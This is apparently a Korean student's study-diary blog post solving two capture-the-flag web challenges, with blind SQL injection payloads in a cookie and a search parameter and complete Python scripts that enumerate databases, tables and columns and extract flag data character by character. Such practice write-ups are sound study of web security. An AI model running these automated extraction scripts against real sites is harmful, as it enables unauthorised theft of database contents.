본문 바로가기

웹 해킹

웹 해킹 공부일기장 4 - 과제

저번 실습에서 찾은 SQL Injection 포인트로 flag를 찾는 것까지 해보겠습니다.

 

1. flag를 찾아라

 

1) SQL Injection 포인트 찾기

쿠키에 포함된 user 정보로 마이페이지를 채워주는 부분이 있었고 이때 쿠키의 user에 SQL Injection 이 가능했습니다.

참일 때는 Nothing Here..., 거짓일때는 아무것도 출력되지 않기때문에 SQL의 참 거짓에 따라 결과가 다릅니다.

이 조건을 사용하여 Blind SQL Injection을 할 수 있습니다.

 

2) select 문 가능한지 확인

select * from member where user='user'

이런식으로 서버측 쿼리에서 쿠키의 user로 정보를 가져올 것 입니다.

# qwer' and (조건) and '1'='1 입력
select * from member where user='qwer' and (조건) and '1'='1'

이런식으로 만들어주면 (조건)안의 결과에 따라 우리가 찾은 참 거짓의 결과를 확인할 수 있습니다.

 

이제 조건에 select 문을 사용하여 select가 되는지 확인해보면 됩니다.

# qwer' and (select 'test')='test' and '1'='1 입력
select * from member where user='qwer' and (select 'test')='test' and '1'='1'

select 가능 여부 확인

 

우리가 생각한 참의 결과인 Nothing Here 이 출력됩니다.

 

3) 공격 format 만들기

# 공격 format
select * from member where user='qwer' and ord(substr((__SQL__), 1, 1))=0 and '1'='1'

 

이제 SQL 에 우리가 찾고싶은 데이터를 가져오는 SQL 문을 입력하면 해당 데이터의 첫글자를 확인할 수 있습니다.

import requests

url = "http://ctf.segfaulthub.com:7777/sqli_6/mypage.php"

cookie = {
    'user' : 'qwer', 
    'session' : '9d78d9a6-4e92-42d8-8fa8-5e7b128affe2.LeAXQIHTbPbLnlQcntYAUKv4GSc',
    'PHPSESSID' : '5v5btcd7saf8rmhi9qqsm58tl2',
}

// 쿠키를 사용한 blind sqli 함수
def searchDatabaseWithCookie(sql, url, cookie):
    result = ''
    i = 0
    // 실제 사용자 이름
    user = 'qwer'
    // 실패와 성공을 확인할 수 있는 단어
    successWord = 'Nothing'
    while(True):
        ascii = [33, 127]
        i += 1
        attackFormat = f"{user}' and (ord(substr(({sql}), {i}, 1)) > 0) and '1'='1"
        cookie['user'] = attackFormat
        response = requests.post(url, cookies=cookie)

        if successWord not in(response.text):
            break

        while(True):
            center = int(sum(ascii) // 2)
            attackFormat = f"{user}' and (ord(substr(({sql}), {i}, 1)) > {center}) and '1'='1"
            cookie['user'] = attackFormat
            response = requests.post(url, cookies=cookie)

            if successWord in(response.text):
                ascii[0] = center
            else: ascii[1] = center
            
            
            if ascii[1]-ascii[0] == 1:
                attackFormat = f"{user}' and (ord(substr(({sql}), {i}, 1)) = {ascii[0]}) and '1'='1"
                cookie['user'] = attackFormat
                response = requests.post(url, cookies=cookie)
                if successWord in(response.text):
                    result += chr(ascii[0])
                    break
                else: 
                    result += chr(ascii[1])
                    break
    return result

 

저번에 사용한 자동화 함수를 요청에 쿠키를 보내게 바꿔주고,

조금더 다른 경우에도 쉽게 사용할 수 있게 앞에 실제 사용자이름과 성공 실패 여부를 확인할 수 있는 단어도 입력받아

이 부분만 변경하면 다른 챌린지에도 적용시킬 수 있게 만들었습니다.

 

4) DB 이름 확인

이제 위의 3에서 만든 함수에 원하는 sql만 같이 인자로 넣어주면 해당 sql로 실행한 결과를 알아낼 수 있습니다.

sql = "select database()"
dbName = searchDatabaseWithCookie(sql,url,cookie)
print(dbName)

 

위의 코드처럼 데이버테이스 이름을 가져오는 sql을 실행해주면 됩니다.

 

이제 자동화로 할 것이기 때문에 전체 데이터베이스이름을 가져오면 좋을 것 같습니다.

dbList = []
i = 0
while(True):
    sql = f"select schema_name from information_schema.schemata limit {i}, 1"
    dbName = searchDatabaseWithCookie(sql,url,cookie)
    if not dbName: break
    dbList.append(dbName)
    i += 1
print(dbList)

실행할 때 전체 데이터베이스 이름에 대하여 한줄씩 가져와 리스트에 추가해줍니다.

데이터베이스이름
information_schema
sqli_6

 

테이블 이름 확인하기 전 information_schema는 찾아볼 필요가 없기때문에 리스트에서 빼줍니다.

 

5) Table 이름 확인

TableList={}
for dbName in dbList:
    i = 0
    while(True):
        sql = f"select table_name from information_schema.tables where table_schema='{dbName}' limit {i}, 1"
        tableName = searchDatabaseWithCookie(sql, url, cookie)
        i+=1
        print(tableName)
        if not tableName: break
        if dbName in TableList:
            TableList[dbName].append(tableName)
        else:
            TableList[dbName] = [tableName]
print(TableList)

 

table도 dbList 만큼 반복하여 모든 데이테베이스에 대하여 존재하는 테이블을 확인합니다.

 

tableList 결과 => {'sqli_6': ['board', 'flag_table', 'member']}

 

6) 컬럼 이름 확인

columnList={}
for db, table in tableList.items():
    for tableName in table: 
        i = 0
        while(True):
            sql = f"select column_name from information_schema.columns where table_name='{tableName}' limit {i}, 1"
            columnName = searchDatabaseWithCookie(sql, url, cookie)
            i+=1
            print(columnName)
            if not columnName: break
            if tableName in columnList:
                columnList[tableName].append(columnName)
            else:
                columnList[tableName] = [columnName]
print(columnList)

컬럼도 모든 테이블에 대해 반복하여 결과를 구합니다.

 

columnList 결과 => {'board': ['username', 'title', 'views', 'date', 'time', 'content', 'id', 'likes', 'likes_count', 'file'], 'flag_table': ['idx', 'flag'], 'member': ['user_id', 'user_pass', 'name', 'user_level', 'info']}

테이블 이름 컬럼이름
board username, title, views, date, time, content, id, likes,
likes_count, file
flag_table idx, flag
member user_id, user_pass, name, user_level, info

 

아마도 flag_table 테이블의 flag 컬럼에 있을 것 같네요

 

7) 데이터 추출

result = []
i=0
while(True):
    sql = f"select flag from flag_table limit {i}, 1"
    flag = searchDatabaseWithCookie(sql,url,cookie)
    i += 1
    if not flag: break
    result.append(flag)
print(result)

 

이렇게 flag 데이터까지 추출할 수 있었습니다.

 

데이터베이스 이름, 테이블 이름, 컬럼 이름 가져올 때도 뭔가 비슷하여 함수화 할 수 있을 것같은데 좀 미묘하게 달라 어떻게 해야할지 모르겠습니다.

 

그래도 이렇게 반복해서 flag 뿐만 아니라 데이터베이스에 저장되어있는 모든 정보를 가져올 수 있었습니다.

실제로는 데이터베이스의 크키가 엄청나서 이렇게 모든 정보를 가져오는 것은 비효율적일 수 있기 때문에, 중요한 정보가 있을 것 같은 곳만 찾아도 될 것 같습니다.

 

 

2. flag를 찾아라

1) SQL Injection 포인트 찾기

게시판 검색 기능에서 우리에게 입력받는 값이 컬럼에 위치하는 option_val 부분에서 SQL Injection이 취약점이 발생했었습니다.

(조건) and username 으로 바꿔주면 where (조건) and username like ~~ 이렇게 변경될 것이라 추측하였고 조건에 따라 게시글 결과가 나오거나 나오지 않았습니다.

 

그럼 이부분의 조건의 참과 거짓으로 Blind SQL Injection이 가능할 것입니다.

 

2) select 가능한지 확인

select * from board where option_val like '%board_result%' and (날짜)

아마 우리가 요청에 포함시켜 전달한 option_val의 컬럼에 board_result의 단어가 포함되어 있는지 검색하여 결과를 출력해줄 것입니다.

# (조건) and username 입력
select * from board where (조건) and username like '%q%' and (날짜)

조건에 따라 참일 경우 username에 대해 like 문을 실행할 것이고 거짓일 경우 where 조건에 맞는 결과가 없어 아무 결과도 출력되지 않기 때문에 참과 거짓으로 결과가 달라집니다.

 

# (select 'test')='test' and username 입력
select * from board where (select 'test')='test' and username like '%q%' and (날짜)

select 가 가능한지 확인할 수 있습니다. 이렇게 작성하면 'test'='test'가 되어 username에 q가 포함된 게시글을 보여줍니다.

 

select 가능 여부 확인

 

select 를 사용가능한 것을 확인할 수 있고 결과가 다르다는 것 또한 확인 가능합니다.

 

 

3) 공격 format 만들기

# 공격 format
select * from board where (ord(substr((__SQL__), 1, 1))=0) and username like '%board_result%'

 

SQL 부분에 우리가 원하는 데이터를 가져오는 SQL 문을 작성하게하면 참 거짓으로 해당 데이터의 첫글자를 알 수 있습니다.

 

import requests

url = "http://ctf.segfaulthub.com:7777/sqli_7/notice_list.php"

params = {
    'option_val': 'qwer',
    'board_result': 'q',
    'board_search': '%F0%9F%94%8D',
    'date_from': '',
    'date_to': '',
}

cookie = { 
    'session' : '9d78d9a6-4e92-42d8-8fa8-5e7b128affe2.LeAXQIHTbPbLnlQcntYAUKv4GSc',
    'PHPSESSID' : '5v5btcd7saf8rmhi9qqsm58tl2',
}

// param과 cookie를 통해 Blind Sql 실행 함수
def searchDatabaseWithSql(sql, url, params, cookie):
    result = ''
    i = 0
    // 매번 바뀌는 정상적인 컬럼과 성공여부를 판단해주는 단어 선택
    user = 'username'
    successWord = 'qwer'
    while(True):
        ascii = [33, 127]
        i += 1
        attackFormat = f"(ord(substr(({sql}), {i}, 1)) > 0) and {user}"
        params['option_val'] = attackFormat
        response = requests.post(url, data=params, cookies=cookie)

        if successWord not in(response.text):
            break

        while(True):
            center = int(sum(ascii) // 2)
            attackFormat = f"(ord(substr(({sql}), {i}, 1)) > {center}) and {user}"
            params['option_val'] = attackFormat
            response = requests.post(url, data=params, cookies=cookie)

            if successWord in(response.text):
                ascii[0] = center
            else: ascii[1] = center
            
            
            if ascii[1]-ascii[0] == 1:
                attackFormat = f"(ord(substr(({sql}), {i}, 1)) = {ascii[0]}) and {user}"
                params['option_val'] = attackFormat
                response = requests.post(url, data=params, cookies=cookie)
                if successWord in(response.text):
                    result += chr(ascii[0])
                    break
                else: 
                    result += chr(ascii[1])
                    break
    return result

 

처음에 요청 바디 부분만 바꾸면 될 줄 알고 쿠키정보는 넣지않고 param으로만 요청을 보내니 잘못된 접근이라고 뜨며 실행이 안되었습니다.

그래서 쿠키 정보도 함께 요청을 보내주니 정상적으로 우리가 원하는 결과를 얻었습니다.

쿠키 정보로 요청의 권한도 체크하는 것 같습니다.

 

4) DB 이름 확인

dbList = []
i = 0
while(True):
    sql = f"select schema_name from information_schema.schemata limit {i}, 1"
    dbName = searchDatabaseWithSql(sql,url,params,cookie)
    i += 1
    # information_schema는 dbList에서 제외
    if dbName == 'information_schema': continue
    if not dbName: break
    dbList.append(dbName)
print(dbList)

 

dbList 결과 => ['sqli_7']

데이터베이스 이름
sqli_7

 

5) Table 이름 확인

dbList = ['sqli_7']
tableList={}
for dbName in dbList:
    i = 0
    while(True):
        sql = f"select table_name from information_schema.tables where table_schema='{dbName}' limit {i}, 1"
        tableName = searchDatabaseWithSql(sql, url, params, cookie)
        i+=1
        print(tableName)
        if not tableName: break
        if dbName in tableList:
            tableList[dbName].append(tableName)
        else:
            tableList[dbName] = [tableName]
print(tableList)

전 챌린지에서 사용했던 코드 그대로 함수에 params만 추가해주면 됩니다.

 

tableList 결과 => {'sqli_7': ['board', 'flagTable', 'member']}

데이터베이스 이름 테이블 이름
sqli_7 board, flagTable, member

 

6) 컬럼 이름 확인

tableList={'sqli_7': ['board', 'flagTable', 'member']}
columnList={}
for db, table in tableList.items():
    for tableName in table: 
        i = 0
        while(True):
            sql = f"select column_name from information_schema.columns where table_name='{tableName}' limit {i}, 1"
            columnName = searchDatabaseWithSql(sql, url,params, cookie)
            i+=1
            print(columnName)
            if not columnName: break
            if tableName in columnList:
                columnList[tableName].append(columnName)
            else:
                columnList[tableName] = [columnName]
print(columnList)

이번에도 역시 전에 사용한 코드 그대로 params만 추가해주었습니다.

 

columnList 결과 => {'board': ['username', 'title', 'views', 'date', 'time', 'content', 'id', 'likes', 'likes_count', 'file'], 'flagTable': ['idx', 'flag'], 'member': ['user_id', 'user_pass', 'name', 'user_level', 'info']}

테이블 이름 컬럼 이름
board username, title, views, date, time, content, id, likes,
likes_count, file
flagTable idx, flag
member user_id, user_pass, name, user_level, info

 

7) 데이터 추출

flagTable 테이블의 flag 컬럼에 flag가 있을 것입니다.

columnList={'board': ['username', 'title', 'views', 'date', 'time', 'content', 'id', 'likes', 'likes_count', 'file'], 'flagTable': ['idx', 'flag'], 'member': ['user_id', 'user_pass', 'name', 'user_level', 'info']}
result = []
i=0
while(True):
    sql = f"select flag from flagTable limit {i}, 1"
    flag = searchDatabaseWithSql(sql, url, params, cookie)
    i += 1
    if not flag: break
    result.append(flag)
print(result)

 

이번에도 역시 flag까지 구하기 성공하였습니다.